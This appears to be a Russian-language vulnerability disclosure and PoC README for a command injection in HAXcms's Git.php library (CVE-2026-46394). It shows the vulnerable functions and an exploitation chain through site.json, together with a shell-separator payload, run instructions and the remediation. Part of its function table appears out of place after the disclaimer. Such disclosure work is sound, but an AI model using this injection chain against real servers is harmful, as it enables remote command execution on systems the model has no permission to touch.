
PoC и описание для CVE-2026-46394: внедрение команд ОС в HAXcms Git.php (CWE-78). Только авторизованные исследования безопасности.
Git.php Внедрение команд ОС (CWE-78)Доказательство концепции (PoC) только для авторизованного тестирования безопасности и исследований. Уязвимость, описанная здесь, исправлена в последнем выпуске HAXcms. Этот PoC опубликован, чтобы защитники и исследователи могли проверить проблему на незапатченных экземплярах, которыми они владеют или на которые у них есть явное разрешение.
| CVE | CVE-2026-46394 |
| Компонент | PHP-бэкенд HAXcms - system/backend/php/lib/Git.php |
| Уязвимость | Внедрение команд ОС (CWE-78) |
| Серьезность | Высокий - CVSS 3.1 7.2 изолированно / 8.1 в цепочке с обходом пути |
| Статус | Исправлено в вышестоящем репозитории. Затрагивает версии до патча. |
| Проект | elmsln/HAXcms |
| Сообщивший | Shreyas Challa ([email protected]) |
Библиотека Git.php в PHP-бэкенде HAXcms формирует строки команд оболочки путем
конкатенации неочищенных параметров и передает их напрямую в
proc_open(). Из 17 функций, выполняющих команды оболочки, только одна
(commit()) использует escapeshellarg(). Остальные 15 подставляют ввод вызывающей
стороны непосредственно в строку команды.
Любое значение, содержащее метасимволы оболочки (&, ;, |, $(), обратные кавычки), которое
попадает в одну из этих функций, приводит к произвольному выполнению команд ОС от
имени пользователя веб-сервера.
Единственная правильно экранированная функция является самым наглядным доказательством того, что экранирование было понято и просто пропущено во всех остальных местах.
Все уязвимые функции проходят через run() → run_command() → proc_open():
// Git.php:408-411 - builds a raw command string
public function run($command) {
return $this->run_command(Git::get_bin() . " " . $command);
}
// Git.php:383 - executes it via the system shell
$resource = proc_open($command, $descriptors, $pipes, $this->repo_path, $env);
Пример уязвимой функции в сравнении с единственной безопасной функцией:
// Git.php:574 - VULNERABLE (no escaping)
public function create_branch($branch) {
return $this->run("branch $branch");
}
// Git.php:496 - SAFE (proves the author knew the pattern)
public function commit($message = "") {
return $this->run("commit -av -m " . escapeshellarg($message));
}
| Функция | Строка | Команда оболочки | Экранирована? |
|---|---|---|---|
create_branch($branch) | 574 | branch $branch | НЕТ |
delete_branch($branch) | 588 | branch -d $branch | НЕТ |
checkout($branch) | 663 | checkout $branch | НЕТ |
merge($branch) | 677 | merge $branch --no-ff | НЕТ |
push($remote, $branch) | 785 | push $remote $branch $flags | НЕТ |
pull($remote, $branch) | 799 | pull $remote $branch | НЕТ |
log($format) | 813 | log --pretty=format:"$format" | НЕТ |
show($commit, $format) | 830 | show --pretty=format:"$format" $commit | НЕТ |
list_tags($pattern) | 763 | tag -l $pattern | НЕТ |
clone_to($target) | 512 | clone --local $repo $target | НЕТ |
clone_from($source) | 527 | clone --local $source $repo | НЕТ |
clone_remote($source) | 543 | clone $source $repo | НЕТ |
set_remote($dest, $url) | 460 | remote add $dest $url | НЕТ |
rm($files) |
В поставляемой кодовой базе эти функции вызываются со значениями, взятыми из конфигурации сервера/сайта, а не напрямую из тел запросов, поэтому эксплуатация реализуется путем создания цепочки:
saveOutline для перезаписи site.json сайта, внедрение метасимволов в metadata.site.git.branch. Следующий вызов gitCommit() вызывает push('origin', $branch) в HAXCMSSite.php:584, выполняя полезную нагрузку.create_branch() (Operations.php:2762) или set_remote() (HAXCMSSite.php:625).PoC напрямую использует реальную библиотеку Git.php: он создает временный git
репозиторий, вызывает create_branch() с полезной нагрузкой, использующей разделитель команд оболочки,
и подтверждает выполнение, проверяя наличие файла подтверждения, записанного на диск. Он
очищает за собой.
git в PATHgit clone https://github.com/elmsln/HAXcms.git
git clone https://github.com/shreyas-challa/CVE-2026-46394-haxcms-git-command-injection.git
cd CVE-2026-46394-haxcms-git-command-injection
Укажите PoC на Git.php из вашего клона HAXcms (переменная окружения или первый аргумент);
он также автоматически находит haxcms-php/, расположенный рядом с ним:
# Option A - environment variable
HAXCMS_PHP=../HAXcms/haxcms-php/system/backend/php/lib/Git.php php poc_git_cmdi.php
# Option B - CLI argument
php poc_git_cmdi.php ../HAXcms/haxcms-php/system/backend/php/lib/Git.php
Работает как в Unix (разделитель ;), так и в Windows (разделитель &); PoC автоматически выбирает правильную полезную нагрузку для операционной системы хоста.
================================================================
HAXcms Git.php - OS Command Injection (CWE-78)
================================================================
STEP 3: Inject OS command via create_branch()
Payload: test & echo COMMAND_INJECTION_PROOF > "...\PWNED.txt"
STEP 4: Verify injected command executed
FILE FOUND!
Content: COMMAND_INJECTION_PROOF
COMMAND INJECTION CONFIRMED.
Примените escapeshellarg() к каждому параметру во всех 15 функциях:
// BEFORE
public function create_branch($branch) {
return $this->run("branch " . $branch);
}
// AFTER
public function create_branch($branch) {
return $this->run("branch " . escapeshellarg($branch));
}
Эшелонированная защита — проверяйте значения до того, как они достигнут слоя git:
function validateBranchName($branch) {
return preg_match('/^[a-zA-Z0-9._\/-]+$/', $branch) && strpos($branch, '..') === false;
}
Обновитесь до последнего выпуска HAXcms, который содержит исправление от вышестоящих разработчиков.
Эта проблема была сообщена сопровождающим HAXcms и исправлена до публикации. PoC выпущен только после того, как стал доступен патч. Используйте его исключительно против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение.
Этот материал предоставлен для защитных исследований, обучения и авторизованного
тестирования безопасности. Запуск его против систем без явного разрешения может
быть незаконным. Вы несете единоличную ответственность за соблюдение всех применимых законов
и за получение разрешения перед тестированием. Предоставляется «как есть» без каких-либо
гарантий (см. LICENSE).
| 479 |
rm $files |
| НЕТ |
add_tag($tag, $msg) | 749 | tag -a $tag -m $msg | $tag: НЕТ, $msg: да |
commit($message) | 496 | commit -av -m $message | ДА (единственная безопасная) |